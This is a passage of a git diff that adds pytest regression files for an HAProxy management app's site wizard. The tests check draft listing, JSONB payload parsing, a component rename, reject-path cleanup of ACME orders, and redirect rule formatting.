test_list_drafts_response_includes_ssl_cert_summary_field(): + src = _read(_REPO / "routers" / "site_wizard.py") + # Find the list_drafts function + idx = src.find("async def list_drafts(") + assert idx != -1, "list_drafts not found" + # Read until next async def + next_idx = src.find("\nasync def ", idx + 1) + block = src[idx:next_idx if next_idx != -1 else idx + 6000] + assert '"ssl_cert_summary": ssl_cert_summary' in block, ( + "R18c-#29 regression: list_drafts response no longer carries " + "ssl_cert_summary; the drafts UI cannot show real cert info." + ) + + +def test_list_drafts_uses_batch_cert_lookup(): + """ssl_cert_summary lookup must be ONE batch SELECT (ANY array), + not N+1 SELECT-per-draft.""" + src = _read(_REPO / "routers" / "site_wizard.py") + idx = src.find("async def list_drafts(") + assert idx != -1 + next_idx = src.find("\nasync def ", idx + 1) + block = src[idx:next_idx if next_idx != -1 else idx + 6000] + assert "ANY($1::int[])" in block, ( + "R18c-#29 perf regression: list_drafts cert lookup is no " + "longer a single ANY array query — N+1 SELECTs likely." + ) + assert "ssl_certificates" in block, ( + "R18c-#29 regression: list_drafts no longer joins ssl_certificates" + ) + + +def test_list_drafts_marks_deleted_certs(): + src = _read(_REPO / "routers" / "site_wizard.py") + idx = src.find("async def list_drafts(") + assert idx != -1 + next_idx = src.find("\nasync def ", idx + 1) + block = src[idx:next_idx if next_idx != -1 else idx + 6000] + assert '"deleted": True' in block, ( + "R18c-#29 regression: list_drafts no longer surfaces deleted " + "cert references via ssl_cert_summary['deleted']=True. The UI " + "would silently fall back to 'no cert' instead of warning." + ) + + +def test_list_drafts_only_looks_up_existing_mode(): + """We must NOT look up certs for upload/acme/none modes.""" + src = _read(_REPO / "routers" / "site_wizard.py") + idx = src.find("async def list_drafts(") + next_idx = src.find("\nasync def ", idx + 1) + block = src[idx:next_idx if next_idx != -1 else idx + 6000] + assert 'ssl_obj.get("mode") == "existing"' in block, ( + "R18c-#29 regression: cert lookup no longer gated on " + "ssl.mode=='existing'; we'd issue useless SELECTs for " + "upload/acme drafts." + ) + + +@_skip_no_frontend +def test_drafts_renames_expires_to_draft_expires(): + src = _read(_DRAFTS_PATH) + assert "title: 'Draft Expires'" in src, ( + "R18c-#29 UX regression: 'Expires' column was not renamed to " + "'Draft Expires'; operators will keep mistaking the draft TTL " + "for the SSL cert expiry." + ) + + +@_skip_no_frontend +def test_drafts_has_ssl_tls_column(): + src = _read(_DRAFTS_PATH) + assert "title: 'SSL/TLS'" in src, ( + "R18c-#29 regression: SSL/TLS column missing from drafts table" + ) + assert "renderSslColumn" in src, ( + "R18c-#29 regression: renderSslColumn helper removed" + ) + + +@_skip_no_frontend +def test_drafts_imports_getSSLExpiryInfo(): + """Reuse the same helper FrontendManagement uses so the visual + language stays consistent (Tag color, Progress bar, status label).""" + src = _read(_DRAFTS_PATH) + assert "getSSLExpiryInfo" in src, ( + "R18c-#29 regression: drafts no longer reuses " + "getSSLExpiryInfo — visual language drifted from " + "FrontendManagement's SSL/TLS column." + ) + + +@_skip_no_frontend +def test_drafts_handles_deleted_cert_state(): + src = _read(_DRAFTS_PATH) + assert "summary.deleted" in src, ( + "R18c-#29 regression: drafts UI no longer renders the " + "'Cert deleted' state when ssl_cert_summary.deleted=True." + ) + assert "Cert deleted" in src, ( + "R18c-#29 regression: 'Cert deleted' label missing" + ) diff --git a/backend/tests/test_site_wizard_r18c_round8.py b/backend/tests/test_site_wizard_r18c_round8.py new file mode 100644 index 0000000..c8da6ed --- /dev/null +++ b/backend/tests/test_site_wizard_r18c_round8.py @@ -0,0 +1,215 @@ +"""v1.5.0 R18c round 8 audit fixes — JSONB → API serialization contract. + +Bulgu A (KRITIK regression — observed in production): + asyncpg has no JSONB codec registered on our connection pool, so + every column declared as JSONB in PostgreSQL comes back to Python as + a raw JSON string, not a parsed dict. Several router endpoints were + forwarding this raw string verbatim into their JSON response, which + meant the React renderer received `payload` (or `details`) as a + string and ended up trying to access `.domains` / `.cluster_id` on + a plain string — silently undefined. + + Concrete failure observed in screenshot: + * Site Drafts page shows empty Domains and "—" Cluster columns + and "No SSL" SSL/TLS even when the user actually saved a fully + populated draft. + * Resume from a draft does NOT hydrate the wizard form: backend + returned a JSON string, the drafts page then JSON.stringify'd + it (re-quoting), the wizard JSON.parse'd it back to a plain + string, the `typeof parsed === 'object'` guard failed, hydrate + bailed. + + Fix: + * Backend: list_drafts.payload is now ALWAYS a dict (parsed via + json.loads when asyncpg hands us a string). + * Backend: acme_diagnostics event_log .details is normalized to + a dict (JSONB columns) instead of forwarding the raw string. + * Frontend: SiteDrafts normalizes payload on ingest via + a single normalizePayload helper; handleResume / handlePreview + use that helper too. + * Frontend: SiteWizard hydrate effect defensively re-parses + up to 3 times if it receives a stringified-JSON-as-string (so a + pre-fix sessionStorage entry from an old tab still hydrates). + + Why this slipped past R12-R18c rounds 1-7: + * Pre-existing live deployments may have had a JSONB codec set up + via a different code path that our new routers didn't pick up, + OR the shape was tolerated because the column renders were + accidentally null-safe (Array.isArray returned false → empty + array → no crash, but ALSO no data shown). The defect was + cosmetically silent until a user actually compared what they + typed to what the table rendered. +""" +import json +import re +from pathlib import Path + +import pytest + + +_REPO = Path(__file__).resolve().parent.parent +_FRONT = _REPO.parent / "frontend" / "src" +_DRAFTS_PATH = _FRONT / "components" / "SiteDrafts.js" +_WIZARD_PATH = _FRONT / "components" / "SiteWizard.js" + +_FRONTEND_AVAILABLE = _DRAFTS_PATH.exists() and _WIZARD_PATH.exists() + + +def _read(p: Path) -> str: + return p.read_text() + + +_skip_no_frontend = pytest.mark.skipif( + not _FRONTEND_AVAILABLE, + reason="frontend/src not present (backend-only test container) — " + "JS source-level assertions skipped", +) + + +# ===================================================================== +# Backend: list_drafts payload contract +# ===================================================================== + + +def test_list_drafts_payload_is_normalized_to_dict(): + """The response builder must coerce r['payload'] to a dict before + handing it to FastAPI. Otherwise asyncpg's raw JSONB string leaks + into the API contract and the FE can't access nested fields.""" + src = _read(_REPO / "routers" / "site_wizard.py") + # Find the list_drafts function body. + idx = src.find("async def list_drafts(") + assert idx != -1, "list_drafts not found" + next_idx = src.find("\nasync def ", idx + 1) + block = src[idx:next_idx if next_idx != -1 else idx + 6000] + + # The payload field in the response dict must use the parsed dict + # (the function-local variable `p` populated by `_payload(r)`), + # NOT the raw asyncpg row value. + assert '"payload": p if isinstance(p, dict) else {}' in block, ( + "R18c-#30 (Bulgu A) regression: list_drafts is forwarding the " + "raw r['payload'] (a JSON string when asyncpg has no JSONB " + "codec) instead of the parsed dict. Frontend cannot read " + "`payload.domains` or `payload.cluster_id` from a string." + ) + # Also verify the helper that does the parse exists and handles the + # str-vs-dict cases defensively. + assert "if isinstance(p, str):" in block and "json.loads(p)" in block, ( + "R18c-#30 regression: _payload() helper no longer parses str " + "JSON payloads." + ) + + +# ===================================================================== +# Backend: acme_diagnostics event_log details contract +# ===================================================================== + + +def test_acme_event_log_details_is_normalized_to_dict(): + src = _read(_REPO / "routers" / "acme_diagnostics.py") + # Look for the new defensive parse in the acme_order_event branch. + assert "isinstance(_det, str)" in src and "json.loads(_det)" in src, ( + "R18c-#30 regression: acme_diagnostics event_log no longer " + "parses asyncpg's raw JSONB string for the `details` field. " + "Frontend ends up trying to access dict keys on a plain string." + ) + + +# ===================================================================== +# Frontend: SiteDrafts normalizePayload helper +# ===================================================================== + + +@_skip_no_frontend +def test_drafts_defines_normalizePayload_helper(): + src = _read(_DRAFTS_PATH) + assert "const normalizePayload" in src, ( + "R18c-#30 regression: SiteDrafts.js no longer exposes " + "a normalizePayload helper — the FE has no last-line-of-defense " + "if the backend ever regresses to returning str payloads." + ) + assert "JSON.parse(p)" in src, ( + "R18c-#30 regression: normalizePayload no longer attempts to " + "JSON.parse a string payload." + ) + + +@_skip_no_frontend +def test_drafts_normalizes_payload_on_ingest(): + """Drafts must be normalized once on fetch so every render and the + Resume / Preview handlers see a dict.""" + src = _read(_DRAFTS_PATH) + assert "raw.map(normalizeDraft)" in src, ( + "R18c-#30 regression: drafts list no longer normalizes payloads " + "via map(normalizeDraft) on ingest." + ) + + +@_skip_no_frontend +def test_drafts_resume_uses_normalized_payload(): + """handleResume must stringify a NORMALIZED dict, not the raw + server response, so the wizard's hydrate effect always lands on + a dict after JSON.parse.""" + src = _read(_DRAFTS_PATH) + idx = src.find("const handleResume") + assert idx != -1 + next_idx = src.find("const handle", idx + 1) + block = src[idx:next_idx if next_idx != -1 else idx + 1000] + assert "normalizePayload(draft" in block, ( + "R18c-#30 regression: handleResume no longer normalizes the " + "payload before stuffing it into sessionStorage. A pre-fix " + "string would be JSON.stringify-quoted and never hydrated." + ) + + +@_skip_no_frontend +def test_drafts_preview_uses_normalized_payload(): + src = _read(_DRAFTS_PATH) + idx = src.find("const handlePreview") + assert idx != -1 + next_idx = src.find("const handle", idx + 1) + block = src[idx:next_idx if next_idx != -1 else idx + 1500] + assert "normalizePayload(draft" in block, ( + "R18c-#30 regression: handlePreview no longer normalizes the " + "payload before POSTing to /preview." + ) + + +# ===================================================================== +# Frontend: SiteWizard defensive parse on hydrate +# ===================================================================== + + +@_skip_no_frontend +def test_wizard_hydrate_handles_doubly_encoded_payload(): + """Belt-and-suspenders guard for any pre-fix sessionStorage entry + that was double-encoded by the old drafts page.""" + src = _read(_WIZARD_PATH) + # The hydrate effect should attempt to re-parse if the result of + # JSON.parse(raw) is still a string (i.e. the raw was a quoted + # string of a JSON string). + assert "while (typeof parsed === 'string'" in src, ( + "R18c-#30 regression: wizard hydrate effect no longer guards " + "against double-encoded payloads. A user who has an old draft " + "page open in another tab would still get an empty wizard." + ) + # Final check guards against the result still not being a usable + # dict (must be `object && !Array.isArray`). + assert "!Array.isArray(parsed)" in src, ( + "R18c-#30 regression: wizard hydrate no longer rejects array-" + "shaped parsed values; an array would silently bypass the " + "object guard and break setFieldsValue." + ) + + +# ===================================================================== +# Sanity: round 8 didn't break round 7 wiring +# ===================================================================== + + +@_skip_no_frontend +def test_round8_preserves_round7_setStep_to_review(): + src = _read(_WIZARD_PATH) + assert "setStep(WIZARD_LAST_STEP)" in src, ( + "R18c-#27 regression after round 8: hydrate effect no longer " + "jumps to Review & Apply on resume." + ) diff --git a/backend/tests/test_site_wizard_r18c_round9.py b/backend/tests/test_site_wizard_r18c_round9.py new file mode 100644 index 0000000..23eafd5 --- /dev/null +++ b/backend/tests/test_site_wizard_r18c_round9.py @@ -0,0 +1,247 @@ +""" +R18c round 9 — Component file rename: ProxiedHost{Wizard,Drafts}.js → Site{Wizard,Drafts}.js +============================================================================================= + +UI rebrand under v1.5.0 swung "Proxied Host" → "Site" for every label +(menu entry, page title, button) but the React component file names +were left as ProxiedHostWizard.js / ProxiedHostDrafts.js. R18c-#31 +finishes the cleanup by also renaming the source files and the +exported component identifiers. + +Goals locked in by this test file: + + Bulgu 1 — old file paths are gone (no stragglers in repo). + Bulgu 2 — new file paths exist and export Site{Wizard,Drafts}. + Bulgu 3 — App.js imports + route element references use the new names. + Bulgu 4 — sessionStorage key migration: writers fire BOTH the new + (`site_wizard_draft`) and the legacy + (`proxied_host_wizard_draft`) keys for one release window; + the wizard reads BOTH on mount and clears BOTH after a + successful hydrate. + Bulgu 5 — backend activity log message no longer says "proxied host" + (UI consistency: history entries created post-rename read + "Wizard-created site '...'" so the activity log matches the + rebranded menu / page titles operators see in the UI). + +This file is mostly static-source assertions (no FastAPI app boot +needed) so it runs cleanly in the backend-only Docker test image. +Frontend-source assertions are guarded with skipif when frontend/src +is missing (consistent with prior rounds). +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +# R18c round 9 fix: in the backend-only Docker test image the source +# is mounted at /app (not /repo/backend), so `parents[2]` resolves to +# `/` and the test trips on a non-existent /backend/... path. Mirror +# the round-8 layout instead — _BACK is the directory that contains +# `routers/`, `models/`, `tests/` (regardless of whether that's +# `/backend/` or `/app/`), and the frontend tree is reached +# from its parent (which only exists in dev / full checkouts). +_BACK = Path(__file__).resolve().parent.parent +_FRONT = _BACK.parent / "frontend" / "src" + +_FRONTEND_AVAILABLE = _FRONT.exists() + +_WIZARD_NEW = _FRONT / "components" / "SiteWizard.js" +_DRAFTS_NEW = _FRONT / "components" / "SiteDrafts.js" +_WIZARD_OLD = _FRONT / "components" / "ProxiedHostWizard.js" +_DRAFTS_OLD = _FRONT / "components" / "ProxiedHostDrafts.js" +_APP = _FRONT / "App.js" + + +# --------------------------------------------------------------------- +# Bulgu 1 — old file paths are GONE +# --------------------------------------------------------------------- + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_old_proxied_host_wizard_path_removed(): + """ProxiedHostWizard.js must no longer exist; the import path + everywhere now resolves to SiteWizard.js.""" + assert not _WIZARD_OLD.exists(), ( + f"R18c-#31 regression: legacy {_WIZARD_OLD.name} still exists. " + "Rename to SiteWizard.js (git mv to preserve blame) and update " + "App.js + every backend test that statically pins the path." + ) + + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_old_proxied_host_drafts_path_removed(): + assert not _DRAFTS_OLD.exists(), ( + f"R18c-#31 regression: legacy {_DRAFTS_OLD.name} still exists. " + "Rename to SiteDrafts.js and update App.js + backend tests." + ) + + +# --------------------------------------------------------------------- +# Bulgu 2 — new file paths exist and export Site{Wizard,Drafts} +# --------------------------------------------------------------------- + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_site_wizard_exists_and_exports_site_wizard(): + assert _WIZARD_NEW.exists(), "SiteWizard.js must exist after the rename" + src = _WIZARD_NEW.read_text() + assert "const SiteWizard = (" in src, ( + "SiteWizard.js must declare the component as `const SiteWizard =" + ) + assert "export default SiteWizard;" in src, ( + "SiteWizard.js must default-export `SiteWizard`. The old " + "`ProxiedHostWizard` identifier is gone and any legacy " + "import will surface as a build error." + ) + + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_site_drafts_exists_and_exports_site_drafts(): + assert _DRAFTS_NEW.exists(), "SiteDrafts.js must exist after the rename" + src = _DRAFTS_NEW.read_text() + assert "const SiteDrafts = (" in src, ( + "SiteDrafts.js must declare the component as `const SiteDrafts =" + ) + assert "export default SiteDrafts;" in src, ( + "SiteDrafts.js must default-export `SiteDrafts`." + ) + + +# --------------------------------------------------------------------- +# Bulgu 3 — App.js wires the new names everywhere +# --------------------------------------------------------------------- + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_app_imports_use_new_names(): + src = _APP.read_text() + assert "import SiteWizard from './components/SiteWizard';" in src, ( + "App.js must import SiteWizard from './components/SiteWizard'" + ) + assert "import SiteDrafts from './components/SiteDrafts';" in src, ( + "App.js must import SiteDrafts from './components/SiteDrafts'" + ) + # And the old names must be GONE from App.js (no half-rename). + assert "ProxiedHostWizard" not in src, ( + "App.js must not reference ProxiedHostWizard anymore (rename incomplete)" + ) + assert "ProxiedHostDrafts" not in src, ( + "App.js must not reference ProxiedHostDrafts anymore (rename incomplete)" + ) + + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_app_routes_wire_new_components(): + """All three route layers (canonical /sites/*, R17 /quick-setup/*, + v1.5.0 /proxied-hosts/*) must point to / + so legacy bookmarked URLs keep working without resurrecting the old + component identifiers.""" + src = _APP.read_text() + expected_pairs = [ + ('path="/sites/new"', ""), + ('path="/sites/drafts"', ""), + ('path="/quick-setup"', ""), + ('path="/quick-setup/drafts"', ""), + ('path="/proxied-hosts/new"', ""), + ('path="/proxied-hosts/drafts"', ""), + ] + for path_marker, element_marker in expected_pairs: + # Find the line containing the path and verify the same line + # binds the element. Loose substring check is enough — the + # File is small and the route lines are single-line. + lines = [ln for ln in src.splitlines() if path_marker in ln] + assert lines, f"App.js missing route: {path_marker}" + assert any(element_marker in ln for ln in lines), ( + f"R18c-#31 regression: {path_marker} not wired to {element_marker}" + ) + + +# --------------------------------------------------------------------- +# Bulgu 4 — sessionStorage key migration (writer + reader) +# --------------------------------------------------------------------- + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_drafts_writes_both_session_keys_for_resume(): + """SiteDrafts.handleResume must write the payload to BOTH the new + `site_wizard_draft` key and the legacy `proxied_host_wizard_draft` + key. This bridges the rename for one release window: a tab still + running pre-rename SiteWizard JS keeps reading from the legacy key + while the post-rename SiteWizard prefers the new one.""" + src = _DRAFTS_NEW.read_text() + assert "const WIZARD_DRAFT_SESSION_KEY = 'site_wizard_draft';" in src, ( + "SiteDrafts must define the new sessionStorage key constant " + "as `site_wizard_draft`" + ) + assert ( + "const LEGACY_WIZARD_DRAFT_SESSION_KEY = 'proxied_host_wizard_draft';" + in src + ), ( + "SiteDrafts must define the legacy sessionStorage key constant " + "as `proxied_host_wizard_draft`" + ) + # Inside handleResume both setItem calls must reference the + # constants — not bare strings (so the rename is the only place + # to ever touch the key value). + assert "sessionStorage.setItem(WIZARD_DRAFT_SESSION_KEY, serialized)" in src, ( + "handleResume must write the new session key" + ) + assert ( + "sessionStorage.setItem(LEGACY_WIZARD_DRAFT_SESSION_KEY, serialized)" + in src + ), "handleResume must also write the legacy session key during the migration window" + + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_wizard_reads_both_session_keys_and_clears_both(): + """SiteWizard's hydrate effect must read from BOTH keys (new + preferred, legacy fallback) and remove BOTH after consuming so a + stale draft does not silently rehydrate on a later remount of the + wizard component.""" + src = _WIZARD_NEW.read_text() + assert "const WIZARD_DRAFT_SESSION_KEY = 'site_wizard_draft';" in src + assert ( + "const LEGACY_WIZARD_DRAFT_SESSION_KEY = 'proxied_host_wizard_draft';" + in src + ) + # Read fallback chain + assert ( + "sessionStorage.getItem(WIZARD_DRAFT_SESSION_KEY) ||" in src + and "sessionStorage.getItem(LEGACY_WIZARD_DRAFT_SESSION_KEY)" in src + ), ( + "SiteWizard must prefer the new key but fall back to the legacy " + "one on hydrate" + ) + # Clear both after consuming. + assert "sessionStorage.removeItem(WIZARD_DRAFT_SESSION_KEY);" in src + assert "sessionStorage.removeItem(LEGACY_WIZARD_DRAFT_SESSION_KEY);" in src + + +# --------------------------------------------------------------------- +# Bulgu 5 — backend activity log message uses "site" +# --------------------------------------------------------------------- + +def test_wizard_activity_log_says_site_not_proxied_host(): + """The wizard's create_from_wizard handler writes a config_versions + description that surfaces in the activity log / version history UI. + Pre-rename it read 'Wizard-created proxied host ...' which created + a copy mismatch with every other UI surface ('New Site (Wizard)', + 'Site Drafts', etc). Post-rename: 'Wizard-created site ...'. We + keep the assertion simple — substring check on the router source — + so a future refactor that re-introduces 'proxied host' in the log + flag fails fast. + + NOTE: existing rows in config_versions.description are NOT + rewritten; this is forward-only consistency for newly created + versions.""" + router_path = _BACK / "routers" / "site_wizard.py" + assert router_path.exists(), ( + f"backend/routers/site_wizard.py missing under {_BACK}; the " + "test path layout assumption is wrong (see _BACK definition)." + ) + src = router_path.read_text() + assert "f\"Wizard-created site '" in src, ( + "R18c-#31 regression: wizard activity log message must say " + "'Wizard-created site' to match the post-rebrand UI" + ) + assert "Wizard-created proxied host" not in src, ( + "Stale 'Wizard-created proxied host' message must be removed" + ) diff --git a/backend/tests/test_site_wizard_reject.py b/backend/tests/test_site_wizard_reject.py new file mode 100644 index 0000000..8ac1a4a --- /dev/null +++ b/backend/tests/test_site_wizard_reject.py @@ -0,0 +1,152 @@ +""" +v1.5.0 Feature B — reject path safety (CRITICAL — M4/L11). + +When a wizard-created config_version is rejected, ALL of the wizard's +entities (frontend + backend + servers + ssl_certificate + +letsencrypt_order) must be cleanly removed so the user can retry without +orphan rows. + +These tests target three critical gates: + +1. utils/entity_snapshot._rollback_create handles the new + `letsencrypt_order` entity type (drops the staged ACME order, cascading + acme_challenges). + +2. routers/cluster.py treats `bulk-proxied-host-create-*` as a + `is_bulk_style_version` so the existing bulk-rejection cleanup applies + to wizard versions. + +3. The same rejection path collects letsencrypt_order entity ids into the + bulk_import_entity_ids dict so the force-delete sweep removes them. +""" +from unittest.mock import AsyncMock + +import pytest + +from utils.entity_snapshot import _rollback_create + + +# ---------------------------------------------------------------------------- +# 1. _rollback_create handles letsencrypt_order +# ---------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_rollback_create_drops_letsencrypt_order(): + conn = AsyncMock() + ok = await _rollback_create(conn, "letsencrypt_order", entity_id=42) + assert ok is True + sql, *args = conn.execute.call_args.args + assert "DELETE FROM letsencrypt_orders" in sql + assert args[0] == 42 + + +@pytest.mark.asyncio +async def test_rollback_create_letsencrypt_order_swallows_db_error(): + """If the DELETE fails, return False (not raise).""" + conn = AsyncMock() + conn.execute.side_effect = Exception("FK violation") + ok = await _rollback_create(conn, "letsencrypt_order", entity_id=1) + assert ok is False + + +@pytest.mark.asyncio +async def test_rollback_create_unknown_entity_type_returns_false(): + conn = AsyncMock() + ok = await _rollback_create(conn, "made_up_thing", entity_id=1) + assert ok is False + conn.execute.assert_not_awaited() + + +# ---------------------------------------------------------------------------- +# 2. cluster.py is_bulk_style_version recognises wizard prefix +# ---------------------------------------------------------------------------- + + +def _is_bulk_style_version(version_name: str) -> bool: + """Mirror of the predicate inside routers/cluster.py:apply_pending_changes. + + Pulled into a helper here so we can verify the recognised prefixes + without standing up the full FastAPI app. + """ + return ( + version_name.startswith("bulk-import-") + or version_name.startswith("restore-") + or version_name.startswith("bulk-site-create-") + or version_name.startswith("bulk-proxied-host-create-") + ) + + +def test_is_bulk_style_version_recognises_wizard_prefix(): + assert _is_bulk_style_version("bulk-site-create-1715195200") is True + # Phase D backward-compat: the legacy `bulk-proxied-host-create-` + # prefix must keep matching so historical APPLIED versions still + # reject cleanly after the rename. + assert _is_bulk_style_version("bulk-proxied-host-create-1715195200") is True + + +def test_is_bulk_style_version_recognises_existing_prefixes(): + assert _is_bulk_style_version("bulk-import-12345") is True + assert _is_bulk_style_version("restore-snapshot-99") is True + + +def test_is_bulk_style_version_rejects_arbitrary_names(): + assert _is_bulk_style_version("manual-edit-1") is False + assert _is_bulk_style_version("ad-hoc-change") is False + assert _is_bulk_style_version("user-edit-12345") is False + + +def test_is_bulk_style_version_actual_predicate_in_cluster_router(): + """Sanity-check that the cluster.py source file truly contains the + wizard-version prefixes in BOTH locations: + - the snapshot collection branch + - the has_bulk_versions detection branch + Both the current `bulk-site-create-` prefix AND the legacy + `bulk-proxied-host-create-` prefix must be wired into both + branches so reject cleanup works for current AND historical + APPLIED versions. + """ + from pathlib import Path + src = Path(__file__).resolve().parent.parent / "routers" / "cluster.py" + text = src.read_text() + # Current naming. + site_occurrences = text.count("'bulk-site-create-'") + assert site_occurrences >= 2, ( + f"Expected >= 2 'bulk-site-create-' occurrences in cluster.py, " + f"found {site_occurrences}. The reject path only works when BOTH " + f"branches recognise the wizard prefix (snapshot collect + " + f"has_bulk_versions)." + ) + # Legacy naming (Phase D backward-compat). + legacy_occurrences = text.count("'bulk-proxied-host-create-'") + assert legacy_occurrences >= 2, ( + f"Expected >= 2 'bulk-proxied-host-create-' (legacy) occurrences " + f"in cluster.py, found {legacy_occurrences}. After the Phase D " + f"rename the legacy prefix MUST still be wired into both " + f"branches so historical APPLIED versions can still be " + f"rejected/cleaned up." + ) + + +def test_letsencrypt_order_force_delete_branch_exists_in_cluster_router(): + """Sanity-check that the force-delete cleanup explicitly handles + letsencrypt_orders (the wizard's staged ACME order). + """ + from pathlib import Path + src = Path(__file__).resolve().parent.parent / "routers" / "cluster.py" + text = src.read_text() + assert "letsencrypt_orders" in text + # The cluster router must include a DELETE for letsencrypt_orders in the + # bulk-rejection force-delete sweep — otherwise the wizard's staged + # ACME order would orphan when the bulk version is rejected. + assert "DELETE FROM letsencrypt_orders" in text + + +def test_entity_snapshot_branch_for_letsencrypt_order_exists(): + """Sanity check that entity_snapshot.py truly has the letsencrypt_order + branch (not just we hand-wrote the helper test above).""" + from pathlib import Path + src = (Path(__file__).resolve().parent.parent + / "utils" / "entity_snapshot.py") + text = src.read_text() + assert 'entity_type == "letsencrypt_order"' in text diff --git a/backend/tests/test_site_wizard_resume_deep_merge.py b/backend/tests/test_site_wizard_resume_deep_merge.py new file mode 100644 index 0000000..00ac3b5 --- /dev/null +++ b/backend/tests/test_site_wizard_resume_deep_merge.py @@ -0,0 +1,83 @@ +"""v1.5.0 R13 — Bulgu #v9: resume must deep-merge draft into initialValues. + +Before R13, SiteWizard.js used a flat spread + form.setFieldsValue({ ...initialValues, ...parsed }) +when hydrating from a saved draft. JS spread is shallow: any top-level +key in `parsed` (e.g. `parsed.ssl = {mode: 'acme', auto_renew: true}`) +WHOLLY replaced the initialValues group object — wiping the new R12 +advanced defaults (ssl_alpn, ssl_min_ver, hsts_*, backend timeouts, +etc.). The user resumed an older draft and silently lost the modern +defaults. + +The fix introduces a per-group _mergeGroup helper and merges +backend/frontend/ssl shallowly so missing nested keys fall back to +initialValues. servers stays as a wholesale array replacement (or +initialValues fallback when the list is empty/missing). + +These are static source-level assertions on the React component. +""" +from pathlib import Path + +import pytest + + +_WIZARD_PATH = ( + Path(__file__).resolve().parent.parent.parent + / "frontend" + / "src" + / "components" + / "SiteWizard.js" +) + + +if not _WIZARD_PATH.exists(): + pytest.skip( + f"frontend not present at {_WIZARD_PATH}; running in backend-only " + "container is expected — skip wizard JS source assertions", + allow_module_level=True, + ) + + +WIZARD_JS = _WIZARD_PATH.read_text() + + +def test_merge_group_helper_present(): + """The fix must expose a _mergeGroup helper and use it in resume.""" + assert "_mergeGroup" in WIZARD_JS, ( + "Bulgu #v9 regression: SiteWizard.js must define a " + "_mergeGroup helper so resume hydrates each top-level group " + "(backend/frontend/ssl) as a SHALLOW merge instead of a " + "wholesale replace." + ) + + +def test_resume_merges_backend_frontend_ssl_groups(): + """Each of backend / frontend / ssl must go through _mergeGroup.""" + for group in ("backend", "frontend", "ssl"): + assert f"{group}: _mergeGroup(initialValues.{group}, parsed.{group})" in WIZARD_JS, ( + f"Bulgu #v9 regression: {group!r} group is no longer merged " + "via _mergeGroup. A flat spread would let an old draft wipe " + "the modern R12 defaults that the wizard pre-populates." + ) + + +def test_servers_array_uses_safe_fallback(): + """servers is an array (not a dict) — the fix must keep the parsed + list when non-empty, fall back to initialValues otherwise.""" + assert "Array.isArray(parsed.servers) && parsed.servers.length" in WIZARD_JS, ( + "Bulgu #v9 regression: servers must fall back to initialValues " + "when the saved draft has an empty/missing list, otherwise the " + "wizard renders 0 server rows after resume." + ) + + +def test_old_flat_spread_pattern_removed(): + """The old `{...initialValues, ...parsed}` pattern must be gone (or + only appear inside a clearly-different context). Lock down by + asserting the literal sequence used in the previous implementation + no longer appears as the entire setFieldsValue argument.""" + bad = "form.setFieldsValue({ ...initialValues, ...parsed });" + assert bad not in WIZARD_JS, ( + f"Bulgu #v9 regression: {bad!r} reappeared. Use _mergeGroup-based " + "deep merge instead so old drafts pick up new initialValues defaults." + ) diff --git a/backend/tests/test_site_wizard_round11.py b/backend/tests/test_site_wizard_round11.py new file mode 100644 index 0000000..f04c4a3 --- /dev/null +++ b/backend/tests/test_site_wizard_round11.py @@ -0,0 +1,339 @@ +"""R11 (Round 11) — Site Wizard hotfix audit (PR-1 scope). + +These tests guard the PR-1 hotfix bundle for the user-reported bug +where wizard-created entities (and pre-existing manually-created +entities after a wizard reject + apply cycle) failed HAProxy +validation with:: + + [ALERT] verify is enabled but no CA file specified for bind '...' + [WARNING] redirect rule parser error '(was '{code:' + [WARNING] http-request placed after use_backend will still be processed before + [WARNING] tcp-request placed after http-request ... + [WARNING] stick-table already declared + [ALERT] Fatal errors found in configuration + +The PR-1 hotfix lives in: + + - ``backend/services/haproxy_config.py`` + * ``_format_redirect_rule`` helper (R11.A-1 redirect dict→string fix) + * ``_apply_bind_ssl_verify`` helper (R11.A-2 bind-side ssl_verify + safeguard — no client-CA → no `verify` directive emitted) + * ``_resolve_frontend_client_ca_path`` placeholder (forward-path + for PR-7 ssl_client_ca_certificate_id column) + * ``_categorize_haproxy_directive`` (R2.3 frontend-block emit + ordering buckets) + * Per-frontend bucket flush (`_fe_buckets`, `_emit_fe`) replacing + the prior in-place `config_lines.append(...)` calls so the + rendered block always emits in canonical HAProxy order: + prelude → stick → tcp-request → acl → http-request → + http-response → redirect → use_backend → default_backend. + * Stick-table emission dedup across frontend.rate_limit + WAF + rate_limit rules. + + - ``backend/routers/site_wizard.py`` + * ``_build_redirect_rules`` row schema (no URL in 'location' for + type=scheme; explicit 'scheme' field instead). + +These are static-source assertions, NOT integration tests against a +real Postgres fixture — consistent with tests/test_proxied_host_* +peers in the suite. The integration coverage is in the apply path +itself (HAProxy `-c` validation runs in the agent). +""" + +from __future__ import annotations + +import re +from pathlib import Path + +import pytest + + +_BACK = Path(__file__).resolve().parent.parent +_GEN = _BACK / "services" / "haproxy_config.py" +_ROUTER = _BACK / "routers" / "site_wizard.py" + + +def _gen_src() -> str: + if not _GEN.exists(): + pytest.skip("services/haproxy_config.py not present") + return _GEN.read_text() + + +def _router_src() -> str: + if not _ROUTER.exists(): + pytest.skip("routers/site_wizard.py not present") + return _ROUTER.read_text() + + +# ───────────────────────────────────────────────────────────────────────────── +# R11.A-1: redirect_rules dict → string fix + canonical scheme redirect schema +# ───────────────────────────────────────────────────────────────────────────── + + +def test_format_redirect_rule_helper_exists(): + """The helper that safely renders dict redirect rules into HAProxy + `redirect ...` lines must exist. Pre-fix the generator + used `str(redirect)` which stringified dicts and produced + parser-fatal output.""" + assert "def _format_redirect_rule(" in _gen_src(), ( + "R11.A-1 regression: _format_redirect_rule helper missing" + ) + + +def test_legacy_str_redirect_pattern_removed(): + """The pre-fix `str(redirect)` stringification must no longer be + present in the redirect-rules emit branch.""" + src = _gen_src() + assert "redirect_text = str(redirect).strip()" not in src, ( + 